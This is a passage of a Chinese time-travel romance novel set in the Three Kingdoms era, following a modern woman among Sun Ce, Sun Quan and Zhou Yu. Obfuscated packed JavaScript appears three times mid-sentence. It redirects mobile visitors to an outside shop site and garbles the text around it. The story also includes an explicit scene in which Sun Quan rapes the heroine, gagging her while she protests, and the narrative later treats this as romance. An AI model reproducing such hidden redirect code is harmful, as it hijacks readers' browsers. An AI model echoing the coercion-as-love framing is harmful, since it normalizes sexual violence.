午后在廊庑下的谈话忽地闯入脑海,步一乔眉头凸凸蹙了蹙。 “所以你是因为我说喜欢伯符……就变成这样的?” 青春期的男孩子就麻烦。 步一乔赶忙拨开孙权的手,往一旁挪了挪,道:“别别别,你还是原本的样子好。” “好又如何,谁叫你喜欢的是兄长……”孙权小声嘟囔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孙策一如她想象中那般英雄盖世、光芒万丈。在他面前,步一乔总是下意识地端庄淑雅、充满仰慕。她不敢暴露自己现代散漫的灵魂,不敢说那些离经叛道的话。 “为什么和伯符在一起,像在完成一场偶像见面会?而和那个讨厌的孙权在一起时,我却可以肆无忌惮地做回那个满嘴脏话、脾气暴躁的步一乔?” 好神经的自己。 不,肯定是孙仲谋讨人厌的原因!一定是! * “嫂嫂。” 廊下传来清脆的声音,步一乔抬头,正对上孙尚香笑盈盈的眼睛。 “尚香?话说你方才叫我什么?” 孙尚香蹦跳着走近,理所当然道:“反正姑娘迟早要嫁进我们家,提前叫声嫂嫂,习惯习惯。” 步一乔失笑,摇了摇头:“找我何事?” “仲谋找你有事儿。” “孙权?找我?” 步一乔微微一怔。这个时辰,莫非是有什么急事?可看孙尚香神情轻松,倒又不似紧要模样。 廊下两人牵手并行,步一乔正暗自嘀咕,却听孙尚香忽然偏头发问:“说来嫂嫂为何从不称呼仲谋为仲谋,一直以姓名相称?” 步一乔喉间一噎。总不能直言因为知晓日后孙权对孙策不公,自己始终心存芥蒂吧? 她略一沉吟,随口搪塞道:“因为‘仲谋’念着绕口,‘孙权’比较顺口。” “原来如此。”孙尚香恍然点头,一副全然信了的模样。 待将孙尚香送回房休息后,步一乔才转身走向孙权的住处。 院内寂静,唯有他房中亮着一盏孤灯,昏黄黯淡。她轻叩房门,却无人应答。再叩,依旧一片沉寂。 见门扉虚掩,步一乔犹豫一瞬,终是推门而入。 “孙权?你找我有事?” 突然,房门紧闭,蜡烛熄灭。阴森森的空气中,只能听见自己的呼吸声。 “孙权?是你吗?孙——” 话未说完,一双手自黑暗中猛地攥住她的手腕,将她强硬地转过身。下一刻,带着灼热气息的吻重重压下,封缄了她所有惊呼。 湿热的舌尖擦着唇瓣探入,惊起颤栗,溢出呜咽。 步一乔徒劳地挣扎,双手却被他一只大手轻易钳制,牢牢固定在头顶。 “孙……权唔——” 胡乱无章法的吻,竟让步一乔生出恐惧。 眼前之人……还是孙权吗? 孙权的另一只手则紧紧撑在她腰后,将她更彻底地压向自己,让她清晰地感受到他胸膛下剧烈的心跳和衣衫下紧绷的肌肉线条。 每一次呼吸的起伏,都让两人身体的摩擦变得更加清晰而磨人。 熟悉的声线贴着她的唇响起,低哑而偏执。 “为何总是兄长?我在你眼里到底是什么?” “是你先强吻我,是你先招惹我,是你先说要我的……为何又口口不离兄长的姓名?” “步一乔……一乔……是你对不起我。” “直到天明之前,我不会放你出去的。” 8. 涟漪 “孙权你!” 他却恍若未闻,只低头将鼻尖深深埋入她的颈窝,如同濒死之人汲取最后一缕空气般,贪婪地吸入她的气息。 “等一下!” 步一乔偏头躲闪。 “你看清一点!我是谁!” 孙权的唇瓣几乎贴着她的肌肤低语,温度滚烫得可怕。 “我看得比谁都清楚。步一乔……你到底知不知道,我等这一天,等了多少年?” 他在说什么胡话呢! 步一乔用力推拒着他坚实的胸膛,却如同蚍蜉撼树,撼不动一寸一分。 “我不过来江东一月不到,讲些什么胡言乱语!你起开!孙权!!” “你叫我仲谋,快!像叫兄长那般,唤我仲谋!” 近乎偏执的急切,滚烫的唇再次落下,不再是单纯的撕咬,而是带着某种惩罚性的啃噬,沿着她的下颌线一路蔓延至脆弱的锁骨。 唇齿交缠间,他的手并未停歇。 略微粗糙的指腹带着灼人的温度,从她交叠的衣领处探入,隔着最后一层单薄布料,在她腰侧敏感处留下令人战栗的触感。 衣带被轻易扯开,那只手便沿着她光滑的脊骨一路向上,带着不容抗拒的力量摩挲过肩胛骨,侧颈……最终停留在她的下颌,强迫她承受这个更深、更窒息的吻。 步一乔被牢牢禁锢在床榻木板与他滚烫的身体之间,动弹不得。 “你走开啊!你……好痛!孙权!真的好痛……啊……” 烈火燎过原野,从未接受过洗礼的枯草愈燃愈旺。生涩而急躁的探索非但未能安抚,反而激起了更强烈的颤栗。 逐渐失焦的眼中,步一乔恍惚看见白色的什么被丢弃落地,杂乱地堆在两双鞋边。 孙权翻过身,取来什么东西。 “什呜——” 微凉的丝绸猝不及防地塞入口中,彻底堵住了她所有的声音,只剩下破碎的呜咽在昏暗的室内回荡。 “你答应唤我仲谋,答应今晚不会从我身边逃走,我就拔出来。” 他喘息着,跪立在她上方,犹如数年后统领东南的吴王,不容侵犯。又如可怜偏执的苦情人,哀求着。 “呜呜呜呜!!” 不用猜,那被堵住的嘴里吐出的绝不会是什么好话。 孙权抿紧嘴唇,看着她泛红的眼眶和愤怒的眼神,心底蓦地生出一丝悔意。 把嘴堵住,还怎么吻下去? 无可奈何,他终究还是伸手欲将那绣帕取出。 “你居然……有这种爱好吗?”步一乔喘息着问前方之人,“变态……那史册上只说你嗜酒如命,少年英气,没说你呜——” 话未说完,绣帕再次被毫不留情地塞了回去,甚至比之前更深更紧实。 “不许你再说话了。” 孙权近乎恼怒地扯开自己的衣襟,外袍与中衣相继落地,露出紧实而年轻的身躯。薄汗覆盖全身,在黑暗中泛着微光,随着他急促的呼吸起伏。 他俯身压下,滚烫的皮肤贴上步一乔的瞬间,两人皆是一颤。 稚嫩与稚嫩碰撞,先柔后刚。 他像是初次探索疆域的领主,生涩却固执,毫无章法地在她颈间索取。脑中一片空白,只剩下本能驱使着他愈发用力地深入,仿佛要将这些时日所有说不出口的焦躁、妒忌与渴望,全都倾注在亲吻里。 齿尖不经意擦过她的,引来她细微的抽气,他却误以为是抗拒,反而更用力地禁锢住她,手指深深陷入她。 黑暗中只剩下彼此交错灼热的呼吸,以及某种无声却汹涌的、几乎要将两人吞没的情绪。 “唔……唔!” 步一乔开始剧烈挣扎,脸颊因缺氧而泛红,双手慌乱地拍打着他的胸膛和手臂。 孙权这才惊觉,急忙将绣帕取出。 “不行……我喘不上气……要死了……”她大口呼吸着新鲜空气,眼角沁出生理性的泪珠。 他没有回答,而是猛地将她紧紧搂入怀中,手臂收得极用力,两人严丝合缝地贴紧。 是想勒断我的肋骨吗?!步一乔在心底呐喊。 “我心悦于你,为何你始终不肯正眼看我?”他埋首在她颈间,声音闷闷的,带着一种近乎痛苦的困惑。 “啊?” 步一乔下意识地发出一个单音,大脑被这突如其来的直球告白打得宕机。 愣了好几秒,她才难以置信地、傻乎乎地反问: “你……还真喜欢我啊?” 孙权闻言,像是被这句话彻底点燃了怒火,猛地夺过绣帕又一次塞回她嘴里,动作又快又狠。 “笨蛋!” 眼瞅着有什么即将发生,步一乔也不知哪来的力气,猛地挣脱开他一只手的桎梏,一把扯下口中湿漉漉的绣帕。 “等一下!” “不等!”嘴上说着恶劣的话,动作却稍有停滞。 “不行!你这么搞,我要是怀孕了怎么办!” “那就怀,我娶你,明日便娶你。” “怀你个头啊!不可以!”步一乔简直要疯了。 孙权没好气地撑起身子,居高临下地瞪着她,烦躁地咋了下舌。 “你到底要不要我进去?” 紧绷的额角显示他已濒临失控边缘。 步一乔的愤怒凝固在脸上,而后笑喷出来,给自己呛着。 “噗嗤——从你口中听到这话,真的好有意思。有个时空混乱的感觉……欸欸欸!你干嘛!呜呜呜呜呜!” 一只大手再次严严实实地捂住了她的嘴。 “捂住你的嘴,话太多。” * 天光刺破窗棂,步一乔猛地惊醒。 浑身像是被碾过般酸疼,她怔忡片刻,昨夜破碎的记忆才如潮水般汹涌袭来。 她倒抽一口冷气,猛地坐起身。 锦被滑落,露出底下暧昧的红痕,而身旁,孙权正安然沉睡,一只手臂还环在她的腰间。地上散落着他们凌乱的衣衫,空气中弥漫着未曾散尽的、旖旎而混乱的气息。 这一切都在无声地宣告着昨夜的真实。 步一乔脑中嗡鸣,一股混杂着惊怒、羞耻和难以置信的情绪直冲头顶。她几乎是粗暴地甩开他的手臂,一巴掌将人从梦中扇醒。 “孙权!起来!” 孙权被她惊醒,初时还带着一丝朦胧睡意,但在对上她燃着怒火的双眸时,瞬间清明。 “看你昨夜都做了些什么?!” 孙权撑坐起身,锦被滑至腰际,露出线条分明的上身。他并未回避她的目光,平静中毫无悔意。 “做了我一直想做的事而已。况且昨夜你后来,并非全然抗拒。” 步一乔脸颊猛地烧红,语塞片刻,更是恼羞成怒。 “你趁人之危!你与伯符真是截然不同!不,该是全然无法相比!你永远不可能成为你兄长那般的人!” 这句话似乎刺痛了他。 孙权面色倏地一沉,周身那点稀薄的暖意瞬间敛去,眼神变得冷冽而锐利。 “是,我自是与兄长不同。” 他猛地逼近,手指叩紧步一乔的双肩,将她直直逼靠上床榻后方的屏风。 “可你的眼里只有兄长!既然无论如何都比不上兄长,那我做一次小人,又如何?” 步一乔被他眼中从未见过的、几乎要噬人的暗涌惊得一时愣住,忘了挣扎。 孙权死死盯着她怔忡的表情,片刻后,像是骤然耗尽了所有力气,猛地松开了手,转身不再看她。 他径自下榻,背对着她拾起地上的衣物,一件件沉默地穿上。 “事已至此,随你如何想。若要告予兄长或母亲,悉听尊便。” 他系好衣带,声音恢复了一贯的冷清,听不出情绪。 说完,他未再回头,径直拉开房门,刺目的晨光瞬间涌入。 “孙权!你给我滚回来!” 步一乔猛地抓过散落的锦枕,狠狠砸向那即将消失的背影。 沉重的枕头在半途落地,孙权回眸望向坐在凌乱中欲要哭出来的步一乔,娇弱的身躯微微发抖,嫩白的皮肤上还留有自己的痕迹,眼圈泛红,唇瓣紧抿,心软得一塌糊涂。 “别哭……” “你他妈要是赶走,老娘立马哭!” 孙权站在原地,沉默地看了她片刻。最终,所有复杂的情绪都化作一声几不可闻的叹息。他认命般地转身,合上那扇险些隔绝两人的房门,将喧嚣的晨光重新关在门外。 室内回归一片暧昧的昏暗。 他悻悻地走回床榻边,依言坐下。闪躲的眼神时不时看向一直盯着自己的步一乔。 “别哭,我不走。” 步一乔见他这副逆来顺受的模样,心头火气更盛,扬手便欲朝他脸上挥去。 手腕却在半空被猛地截住。 孙权的手掌温热而有力,牢牢箍住她的腕骨。他看着她,眼神复杂,却并未言语。 “放手!” 对峙片刻,孙权竟真的依言松开了手,甚至缓缓闭上了眼睛,已然坦然接受,无论是她的怒火还是她的巴掌。 然而,空气凝滞,预想中的疼痛并未降临。 孙权听到一声极力压抑的、细碎的哽咽。他迟疑地睁开眼,看见步一乔扬起的手僵在半空,颤抖着,最终无力地垂落。 断了线的眼泪从她通红的眼眶中无声滚落,悄无声息地没入凌乱。 她终究还是没舍得打下去。 孙权怔住了,望着她那副强忍着哭泣、委屈又脆弱的模样,心口像是被最柔软的羽毛狠狠剐过,酸胀得无以复加。 他下意识地伸出手,指尖轻轻触上她湿润的脸颊,动作笨拙却又珍惜,为她拭去滚烫。 “别哭。别哭。” 他低声重复着,小心上前拥住颤抖的身躯,安慰着抚摸她的发顶。 “是我的错,你打我吧,骂我吧,都行。只要……” 喉间哽住,孙权抽了抽鼻子,将哭脸埋在步一乔肩头。 “别去兄长那儿……只许我一人……” 步一乔身体僵着,先前积压的委屈、慈悲和此刻肩头的湿热混在一起,非但没有化作心软,反而猛地窜起一股无法遏制的怒火。 他凭什么哭? 被骗来此处、强迫与他行这等欢愉之事的是她! 心口那点柔软的触动被烧得干干净净。步一乔猛地吸了一口气,用尽全身力气将拥抱着自己的男人推开! 下一秒,清脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467243|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的掌掴结结实实地落在他的脸上! 步一乔手心发麻,胸口剧烈起伏,瞪着他的眼睛里是未干的泪,更是灼人的愤怒。 她决然披衣离开,再不多看僵在原地、脸颊迅速泛红的人一眼。 * 午后的巷陌寂静无声。 步一乔没有遗忘此行的目的,左右环顾一圈,敲响眼前破旧的木门,向开门来的小孩儿说明自己的来意。 “我与许公曾是同乡,听闻其公子与门客暂居于此,特来问候。” 小孩儿诧异地望着步一乔,随后,一名青年男子匆匆赶来。兴许是听到了方才步一乔的话,一双警惕而浑浊的眼睛上下打量着她。 “许公从未提过有姑娘这般年纪的同乡。” 步一乔从容一笑道:“乡野女子,确实不足挂齿。看在诸位尚且安康,我也放心了。不便打扰,就此告辞。” “站住。” 门缝开大了一些,男子侧身让她进去。 屋内灯光昏暗,烟雾缭绕,另有两人围坐在一张矮桌旁,见生人进来,立刻停止了谈话。 步一乔手心沁出冷汗,知道自己踏入了真正的龙潭虎穴。她稳住心神,在距离门口较近的位置就座。 “望诸位神情,想必是在商讨如何杀死孙策一事吧?” 三名男子在自己对面落座,眼底藏不住的杀气和质疑。 “姑娘自说是许公同乡,我看,其实是那周瑜派你来的吧?” 步一乔眉梢微挑:“为何?” “周瑜狡诈,孙策悍勇,二人联手必成心腹大患!此二人不除,我等日夜难安!” “我知道诸位心怀旧主,但冤冤相报何时了?许先生之事已成定局,何必再添血债,枉送性命?若诸位肯就此罢手,或许……” “闭嘴!” 桌旁一个满脸凶悍的大汉猛地一拍桌子,霍然起身,逼近步一乔,眼中杀意毕露。 “你果然是孙策派来的探子!” 另一人也阴恻恻地接口:“大哥,跟她废话什么?自己送上门来,正好祭奠许公在天之灵!” 步一乔面上平静,内心却慌乱得不行,脑中飞速旋转思考脱身之计,继续挑衅道:“不,您误会了。我与孙策或是周瑜都毫无关系,只是想到江东未来会毁在诸位手中,提前来消除隐患罢了。” 大汉的刀已出鞘半寸,寒光凛冽,但她依旧端坐不动,只是微微抬高了声调道:“这一刀下去,许公就再也不是心怀故主的谋士,而是板上钉钉的叛臣逆贼!” 刀锋顿在半空。 步一乔目光如炬扫过对面三人道:“诸位今日若杀了孙策,明日江东便会彻查此案。届时史书工笔,许公全族都将被定为叛党,千秋万代永世不得翻身!莫非这就是诸位想要的忠义?” 持刀的手微微颤抖,男子猛地按住大汉的手臂:“且听她说完。” “许公当年因私通外敌获罪,尚存争议。若你们此刻动手,就是坐实了他的罪名。让他从一场政见之争的牺牲品,变成遗臭万年的叛臣。” 她环视三人剧烈变幻的神色,知道话语已奏效。 “是保全许公最后的清名,还是让他永世背负叛贼骂名?诸位都是明理之人,当知如何抉择。” 步一乔缓缓起身,理了理衣襟,告辞离开。 当她转身推门时,身后传来长刀重重归鞘的声响,伴随着一声压抑的叹息。 直到拐出巷口,确认安全,步一乔才靠在墙边,缓缓吐出一口一直提着的气,后背已被冷汗浸湿。 “话疗肯定是起不了作用的,至少先压制住……” “你好大的胆子!” “嗯?呜——” 头顶落下黑色的麻袋阻隔步一乔的视线。感觉到身体被粗绳五花大绑,被人扛着奔向什么地方。 再次看清眼前情形时,人已换了地方,回到了熟悉的宅院。 “放开我!” 那个绑她来的男人强压着她跪下,向座上之人抱拳禀报: “主公,我清楚地看到这个女人去见了许贡的小儿子与门客,且在屋内逗留许久,定是与逃脱的贼人商议如何造反!” “你跟踪我还血口喷人!” “那你说!为何去见贼人余党!” “我是去——” 话到嘴边,却蓦地断在原地。方才还言辞凌厉的步一乔,此刻竟一个字也说不出口。 孙策放下手中的布帛,一步步走到二人面前。 “吕蒙,你将所见再说一遍,仔细说。” 于是,叫吕蒙的男人将他所看到的毫不添减地陈述了一遍。从步一乔走向那间屋子起,直到离开。整个过程,吕蒙都躲在暗处看在眼里。 孙策看向步一乔。 “他说的,可是实话?” 步一乔不会说谎,点头承认。 孙策长长叹了口气,背过身去,取来自己的佩剑,走到步一乔身后。手起刀落,吓得步一乔身体骤然紧绷。 却只听见绳结断裂的声响。手腕与脚踝的束缚应声而落。 得、得救了? “给你逃跑的机会。” “什么?”步一乔难以置信地回头看向孙策。 “若被吕蒙追上,杀之。” 9. 蝶梦 孙策话音刚落,吕蒙便举起手中貌似屠夫的砍刀直逼步一乔而来。 寒光乍现,刀锋距她的天灵盖仅差毫厘,险些将她一分为二。 步一乔翻转着滚到一边,发丝被削下几根,宽大的袖摆被吕蒙落下的砍刀破坏。 啧,古人的衣服就是碍事! “我是敌是友将军莫非看不出吗!”步一乔吼道。 孙策负在身后的手攥紧,垂眸避开她灼灼的目光。他亲眼见过她眼底的赤诚,明知她不会是细作,但此刻却必须硬起心肠。 “军令如山。” 孙策吐出这四个字,声音沉郁如铁,仿佛不是在判决她,而是在禁锢自己内心某处即将崩裂的角落。 说给旁人听,也说给自己听。 他是万军之将,他的身份、肩上的责任,不许他有丝毫的私情与包庇。他甚至不敢再看步一乔一眼,生怕多看一眼,艰难筑起的心理堤坝就会彻底溃决。 话音未落,吕蒙的第二刀已至。 求生的本能压倒了一切。 她猛地向侧后方仰倒,狼狈就地手脚并用向旁爬去。冰冷的刀锋几乎擦着她的臂膀掠过,重重劈入她方才之地。 顾不上疼痛,屁股摩擦地面后退,呼吸急促,眼中只剩那柄索命的凶器。 “将军!” 步一乔手指扣紧地面。 “我不是细作,我不是任何人派来的细作!但我也无法解释自己为何去见许贡的门客……将军不必伤感或者自责,我从未做背叛你的事,你也……没有。” 话音落,吕蒙第三刀又起,步一乔不再停留,转身朝屋外疾奔而去! * 步一乔踉跄冲出厅门,身后吕蒙的脚步声如影随形。孙策在她逃离后仍然站在原地,久久未动。 她发足狂奔,穿过回廊、踏碎花枝,温热却寒彻骨的风刮过耳畔,却吹不散身后那股几乎凝成实质的杀意。 步一乔这辈子没跑那么快过,感觉喉咙快撕裂开得疼。 该往哪儿跑?!从哪里可以逃出去! 地牢吗?不行!卧房?更不行! 最终,她被逼至大门,沉重的府门早被人落锁,高墙环绕,再无退路。 有人早料到她会逃,提前断了她的去路! 步一乔眼瞅着逃无可逃,在锁死的院门前站定回身面对他。 吕蒙握着刀走来,神色平静眸色无光。 “是周瑜叫你跟踪我的,是不是?” “得亏公瑾瞧你形迹可疑,特命我暗中盯着。果然被他料中,你个袁术派来的细作!” “我再说最后一次,我不是袁术的人。” “我才不管你是什么。蛊惑人心,来路不明,主公为何不下令杀你,这便是最好的证明。” 步一乔无语,朝吕蒙翻了个白眼。 “他不杀我,说明我是好人!伯符能明辨是非,你追随他多年,这点分辨之力还没学会吗!孙权叫你读的书都白读了吗!” “你连此事都知!还敢说不是细作!老实交代,你给袁术送去了多少情报!” “这事营中谁人不知?吕子明,你莫不是练武练傻了?” “住嘴妖女!受死吧。” 吕蒙的刀锋挟着寒意,迫近步一乔的咽喉。 就在这千钧一发之际,一个清朗而沉稳的声音自廊柱后的阴影中传来: “子明,住手。” 吕蒙刀势一滞,与步一乔同时循声望去。 周瑜缓步从暗影中走出,神色平静无波,似乎早已在此静观多时。 步一乔在此见到周瑜一点不意外。或者说,那个早料到并断了她去路的人,正是周瑜。 “公瑾?” 吕蒙虽依言未再进逼,但刀仍未归鞘。 “此女行迹鬼祟,意图不轨,必是袁术细作无疑!为何阻我?” 周瑜并未立刻回答吕蒙,目光先是落在步一乔身上,将她略显狼狈却依旧强作镇定的模样收入眼底,唇角牵起一丝了然的弧度,这才转向吕蒙。 “刀下留人,非为阻你。在她死之前,尚有些话,需得问个明白。” 他向前踱了一步,重新锁回步一乔苍白的脸上。 目光锐利,似要穿透她的灵魂,却又奇异地夹杂着一丝近乎悲悯的审视。 “步姑娘,我知道你的身份。自己交代吧,不必再做无谓的遮掩。” 步一乔轻笑,道:“周公子不妨先说说,我什么身份?” “你既能知晓许贡的残余躲在何处,还能安然无恙的从里面走出来,足以见得步姑娘并非寻常女子。” “多谢周公子夸奖。” “若你并非细作,我猜,你大概是去劝阻其莫要谋划刺杀伯符。对吗?” “那如果我是呢?” “那答案便反过来。” 步一乔唇角弯起,“不愧是周瑜,就是聪明。既然你都猜到了,可以放我走吗?” “但还有一事,我不明白。你究竟如何知道他们藏身于何处?如何知道他们的轨迹,以及……” 周瑜目光陡然锐利。 “北上突袭许都,迎奉汉帝之事?” 步一乔轻挑眉梢,“原来是因为这个。” 想必那日自己将话告知与孙策后,纳了闷的孙策转头就找周瑜商讨了吧。 也是,秘密商讨的事,被一个妇人知晓,确实奇怪。 “我承认你确实有几分姿色,不怪伯符和仲谋都倾心与你。但你知晓的事情太多,且毫无线索查明你是如何知晓的。” “我自有我的渠道。” “生死关头也叫你无法一一说明?” “……是。” 周瑜逼视着她的眼睛,甚是不解。 恰在此时,一阵急促的脚步声由远及近。孙策疾步而来,眉宇间凝着沉重的忧色。 步一乔眼中蓦地泛起一丝希冀的光。 “孙策将军!” 孙策闻抬眸 步一乔扬起一如既往温柔的笑。 “你信我的,对吗?” 孙策双唇紧抿,握剑的手背上青筋隐现。他久久不语,不知如何语。 步一乔急切向前半步道:“我真的不是细作,不是来害将军的。我知晓许贡的门客正谋划行刺将军一事,且时日将至,故此只身去寻。与他们说明了事情的利害,劝他们不要轻举妄动。” “可这些……你又如何得知的?” 孙策的目光深沉如夜。 步一乔垂下眼帘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467244|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “抱歉,唯独这,我无法直言。” 孙策闭上双眼。 步一乔凝望着他脸上那近乎绝望的神情,忽然明白了什么叫做心如刀绞。所有的辩解都已苍白无力。 “罢了……” 她长叹一口气,语气里带着说不尽的疲惫与释然。 “要杀就杀吧,我不想再说话了。” 她不愿再说,也不忍再看那双曾经盛满温柔,此刻却只剩失望的眼眸。 “吕蒙。” 周瑜说着,退至阶下,走到孙策身前掩去。 “动手。” 渐暗的天色中,步一乔望了眼逐渐阴霾的天空。 腰上的肌肉还隐约作痛,昨夜在那人卧房中的一幕幕划过脑海。肩膀上的吻痕应该还在吧?大腿后侧估计也还有指印。 初夜啊…… 她也想起了一千多年后的亲友。 如果当年她没有填报历史系,没有喜欢上孙策,听到教授说穿越毫无兴趣……这一切是不是就不会发生? 这会只是我的无端妄想吗?步一乔心想。总觉得还得跟孙权说上两句再离开。 可是……说什么呢? 即便自己跟他睡了,心底喜欢的人依旧是他哥吗? 好讽刺、幼稚的话。 眼前的刀刃举过头顶,步一乔挫败地低下头,呆呆地望着砖缝间折出淡淡的光边。 由此去罢。 * 预想中撕裂的剧痛并未降临。 取而代之的是一声利刃割开皮肉的闷响,以及一声压抑的、她似乎听过的闷哼。 一道身影冲来挡在了她的身前,硬生生截断了索命的寒光。 众人皆愕然看向拦在吕蒙与步一乔中间的人,利刃在他身前划开一条不算太深的口子,鲜血转眼染透层层衣襟。 来者低下头,怔怔地看着吕蒙手中的刀刃上流着自己的鲜血。又回过头,看向身后安然无恙、满脸惊愕的步一乔。 欣慰一笑。 愧疚感排山倒海般袭来,瞬间淹没了步一乔。 “你为何……” 她感知到自己的所有在发抖,破碎得不成样。 来者颤巍巍地伸出手,似乎想确认她是否安好。 步一乔从巨大的惊骇中惊醒,几乎是扑上去紧紧抓住了他的手,用尽全身力气支撑住他下滑的身体。 紧攥的掌心在她纤细的手上停留片刻后,随即力竭般垂落。 三人:“仲谋!” 步一乔:“孙、孙权?孙权!!” * 步一乔什么都听不清了,她的视线死死锁在孙权迅速失去血色的脸上,看着他无力地倒向地面。 前所未有的恐慌和刺痛攥紧了她的心脏。 她跟着孙权滑落的身子一同跪倒下去,喉咙被堵住发不出任何声音。 只有滚烫的泪水毫无预休止地夺眶而出,砸在孙权染血的衣襟上。 不是假的。 温热的血,沉重的身躯,为她而受的伤……都不是她现代记忆里冰冷的文字和想象。 感动、悔恨、恐惧……无数情绪最终汇成一声哽咽在喉间的、几乎听不清的低唤: “……孙权……孙权你别死啊!” 10. 云何住 室内寂静,唯闻竹简轻响。 步一乔从侍女手中接过药盏,走至少年榻前。 看着孙权毫无血色的脸,步一乔脑海中闪过那日他胸口绽开血花的画面,如同梦魇,夜夜纠缠,无法安眠。 她甚至不敢闭上眼睛,一闭眼就是他一脚踏入阎王殿,还关心自己的笑颜。 为什么是你?为什么偏偏是你……伯符死了,我还能告诉自己那是无法逆转的历史因果。可如果你死了,这就是我步一乔亲手造的孽!我拿什么还?这条命吗? 沉重的愧疚感自责感如绞命的绳索,缠得她喘不过气。她照顾她,近乎一种自我惩罚,仿佛只有这样,心里的负重才能减轻一丝一毫。 步一乔悄然坐下,取走他指间的书卷,又替他理好微乱的衣袖。 “养病就不要学习了。” 孙权苍白的唇抿成一条直线,脸上不见半分笑意。他就着步一乔端来的药碗,直接覆上她捧碗的手背,仰头将汤药一饮而尽。 “闲来无事。”冰冷的话语从冰冷的身体中说出。 步一乔垂下眼帘,犹豫片刻,轻声道:“那我陪你说说话?” “我与你,无话可说。” 孙权蓦地偏过头去,不肯看她。步一乔低低应了一声,作势便要起身。 “行吧,那你专心养病,我走。” 衣袖忽地被扯住。她回眸望去,只见少年将脸埋进垂发的阴影里,只留给她一个通红如血的耳尖,在墨发间若隐若现。 “不是要我走么?”步一乔轻声问道。 孙权依旧不语,唯独攥住她衣袖的手指又收紧了几分。无奈,步一乔只好又坐回去。 她清楚此人为何如此。 那天,孙权冲出来替她挡下那一刀。幸亏吕蒙眼疾手快,收了些力道和方向,没酿成大错。 当时在场听完步一乔和周瑜对话的人,不止有明面上的吕蒙,还有暗处的孙策和孙权。 吕蒙为此事深陷自责,闭门不出数日。直至孙权转醒,特意遣人送去亲笔书信,他才终于肯踏出房门。 孙策暂息杀意,以步一乔“主动提供情报”为由,允留下性命,当即派人清剿许贡余党。奈何迟了一步,待兵马赶至,早已人去楼空。 * “我救了你。” “嗯。” “兄长不会再杀你。” “是。” “但你心底……依旧心悦于兄长。” “……是。” “即便我以命相护,也换不得你心转意?” “人心岂能说变就变?我不愿骗你,更不愿负你。” 欺骗感情,与小人无异。 步一乔内心是愧疚、纠结的。至于那晚为何会与孙权水乳相容、沉沦旖旎,她自己也说不明白。 孙权忘了眼屋外的春光,掀开被褥。身前的纱布上隐约见血,步一乔不由心头抽了一下。 “我去屋外后院散散心。” “我扶你。” 本想说不必,可当步一乔的手挽上自己,孙权实在舍不得说不用。 垂眸便是她的眉眼、睫毛、唇瓣……谁能不动心。 院中花开得正好,流水无声鸟作歌,两个人搀扶着走得很慢,只愿留住春光。 孙权时不时垂眸去看步一乔落寞的神情,反而欣喜。 她在担心自己,她此刻心中是自己,不是兄长。 “怎么了?”步一乔抬眸询问。 因是方才孙权想到高兴的事,喉间泄露了一丝欣喜。她以为是人身体不适,赶忙询问。 孙权偏过头去不语。 步一乔微微蹙眉,手背贴上孙权的脸颊。 “不会感冒了吧?” 猝不及防的抚摸,任谁都会脸红心跳的啊! 孙权心底似有小鹿乱撞,心神不定。 四目相对的瞬间,他恨不得捧着她的脸就这么吻上去。管它礼崩乐坏,在这春色中与她沉溺……未尝不可。 孙权握住步一乔的手,俯身凑近。 吓得她赶忙松开手后撤。 “你……你靠这么近干嘛?” 退后的人的手突然被眼前的少年一把抓住,带往怀中。滚烫的脸庞撞上他炙热的胸膛,挑起一阵更灼热难耐的骚动。 “今晚,你来我房里,还是我过去?” 步一乔眼神躲闪着,推搡着不容抗拒的桎梏。 “胡说什么!你伤未愈病未痊,谁谁哪哪哪儿都不许去。” “不行,必须选一个。” “孙权你!” 恼羞成怒的目光落向盈满情愫和爱欲的双眼,步一乔顿时手足无措、眼神躲闪。 “你若是选不出来,只好立刻,在这儿了。” “啊?!” 凉亭内,冰凉的地板。 受伤的人忘了自己的伤,愧疚的人愧疚更深。 他的膝盖强势地顶入步一乔双腿之间,隔着布料施加压力。却怎么也撬不开,两个人僵持着,面部逐渐狰狞。 孙权:“放、松!” 步一乔:“不、放!” 幸而没又观众,这场面看上去着实有趣得很。 两个人僵持着。步一乔的好胜心刚想发力,忽地想起对峙之人身负重伤,立马泄气。 正好予他可乘之机。 孙权的身躯压下,将她禁锢在自己与亭柱之间。 炽热的呼吸交织缠绕,步一乔从他唇齿间尝到汤药的清苦,以及更深处、某种滚烫而危险的渴望。 她心尖蓦地一颤,猛地将身上之人推开。 “伤得这样重,力气倒不小。” “我是怕……” “怕什么?” “若我就此西去,此生……再难触你分毫。” 步一乔怔住,没好气地轻掐他脸颊。 “说什么呢,你可是要活到七十岁的人啊。” 孙权笑了笑,问道:“那余生的五十年,有你吗?” 步一乔斟酌片刻,轻声开口:“没有。” “嗯。” 孙权闷声应后,收紧手臂,将人环抱得更紧更近。缱绻低语,如暖阳洒落步一乔耳畔。 “所以我才要趁着现在,想尽办法触及你,做个流氓也无妨。” * 周瑜在桌案对面静静跪坐,慢条斯理地拨弄琴弦,动作沉稳又优雅。 接引步一乔的侍女欠身退下后,凉亭中,两个人相对跪坐。周瑜抚琴,步一乔喝茶。 他并未抬眼,温声问道:“步姑娘是从仲谋卧房而来?” 